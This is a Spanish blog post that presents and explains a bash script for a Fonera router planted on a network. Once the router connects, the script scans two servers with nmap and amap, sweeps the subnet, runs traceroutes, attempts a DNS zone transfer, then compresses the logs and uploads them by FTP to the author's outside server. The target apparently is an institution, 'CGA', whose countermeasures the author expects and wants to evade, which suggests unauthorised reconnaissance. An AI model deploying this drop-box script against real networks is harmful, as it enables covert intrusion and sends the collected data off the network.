miércoles, septiembre 19, 2007

El script de la fonera

Como ya os he dicho todo esta listo para el primer día (bueno todo no, tengo que comprar pilas :P ). Esta es una importante parte del puzzle, pero creo que al final ha quedado mas o menos bien, antes contar nada os pongo el script y luego os comento, por si aquí no se ve bien también lo he puesto en mi servidor, aquí:

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"

x0scan() {
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:password@neobius.es
}

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

Explico, al principio del script defino unas variables, c0, f0, target, y file. Se que las dos primeras podría haberlas omitido, pero he preferido dejarlo así, esas dos indican las ips de los servidores c0 y f0. La variable $TARGET indica a quien se va a scanear, y $FILE el prefijo para lo nombres de los archivos logs.

El script esta dividido en funciones, la función main y la función x0scan, además también hay un bucle que comprueba si la fonera se ha conectado a la red inalámbrica y hasta que no lo haya hecho no se ejecuta nada mas.

Lo primero que se hace es esa comprobación, que es mediante las ultimas líneas del script, con el while, cuando se ejecuta iwconfig si no esta conectado pondrá Not_Associated, si lo pone sigue esperando hasta que deje de ponerlo y si no lo pone llama a la función main y se acaba la comprobación.

La función main guarda en un log la configuración de la red y del wifi (ifconfig y iwconfig), a continuación llama dos veces a la otra función, x0scan.

x0scan se encarga del scaneo a los servidores, de ahí su nombre (los servidores son f0 y c0). Empieza con nmap, analizando con sondeos TCP los 65535 puertos del servidor f0, sin enviar ping previo y sin búsqueda inversa dns, estas medidas son para ahorrar tiempo. Todo se guarda en logs en todos los formatos (3), he elegido todos porque todos tienen sus ventajas. Lo siguiente es amap, analiza todos los puertos que nmap ha encontrado abiertos y guarda el correspondiente log, todo se registra.

También he averiguado leyendo el manual de nmap que éste también puede detectar que servicio corre y su versión, así que también se ejecutará, ya que es mejor tener dos resultados que uno. Solo se ejecutará a los puertos que nmap haya detectado abiertos al principio, para nuevamente ganar tiempo. Por último, se cambia el contenido de las variables $TARGET y $FILE para así poder ejecutar de nuevo la misma función pero hacia el servidor c0.

Tras ejecutar nuevamente x0scan, la función main busca host a través de dns en el mismo rango de ips que los servidores, quizas los routers o algo tengan nombres. Luego busca hosts vivos a traves de pings arp, he elegido pings arp porque puede ser que los pings icmp estén bloqueados por algún firewall.

Nmap guarda también las rutas que usa, me valdrá para conocer la ip de un router. También ejecuta 3 traceroutes, a c0 a f0 y a google.es (he puesto la ip por si me falla el dns), confío en que me valga para trazar un mapa aproximado de la red, que espero ir perfeccionando según tenga los datos.

Pero esto todavía no ha acabado, ahora toca intentar una transferencia de zona dns. Este proceso se hace cuando un servidor dns secundario pide al primario toda la información que tenga sobre un dominio para así actualizarse, pero a veces no esta restringido a ese servidor secundario y cualquiera puede hacerlo, así que también voy a intentar esto.

Por último y por simple seguridad, para tener un backup, se crea un tar.gz con todos los logs y lo envía por ftp a mi cuenta en el servidor de 1and1.es. Obviamente no usaré mi usario normal, he creado uno especial para la ocasión con acceso a un directorio determinado en el que no hay nada, protegido de acceso http y al que cambiaré la contraseña (no me he complicado con ella, es un solo uso...). Todo esto es por si a los del CGA les da por poner un sniffer que es muy fácil coger el password... Pensé en hacerlo con scp o con sftp, pero no, porque no se como pasarle el password de forma automática.

La idea inicial también incluía snifar un poco, pero al final no lo voy a hacer en esta primera conexión, ya pensaré cuando y como lo hago.

Ah! y otra cosa que se me pasó decir antes, también apunta la hora a la que empieza y la hora a la que acaba, que aunque la fonera no esté en hora sirve para saber cuanto tiempo tarda en completarse todo. Probándolo en mi red tarda unos 20-25 minutos, por lo que las pilas deberían aguantar sobradamente.

Por último esta es una idea de última hora que se me ha ocurrido, podría también aprender a controlar el diodo led de la fonera el de network o el de wlan (que esta en desuso) para que con algún código me diera a entender lo que hacía, por ejemplo si esta conectada a la red wifi y el script esta en funcionamiento que este 5 segundos encendida, se apague, otros 5 segundos, se apague, etc. Esta idea se me acaba de ocurrir ahora mismo, pero no se como de fácil/difícil será, de todas formas no es necesario.

PD: Algunos datos los he cambiado en el script, por ejemplo, mi usuario y contraseña del ftp

PD2: No se se si es del todo buena idea ponerlo porque puede ser que ahora en el CGA preparen algo para que no me funcione, de todas formas no importa, sea como sea será bueno, si todo va bien conseguiré los datos. Si hay algun firewall estricto o algo parecido pues tendré que agudizar el ingenio y utilizar otras técnicas :)

No hay comentarios: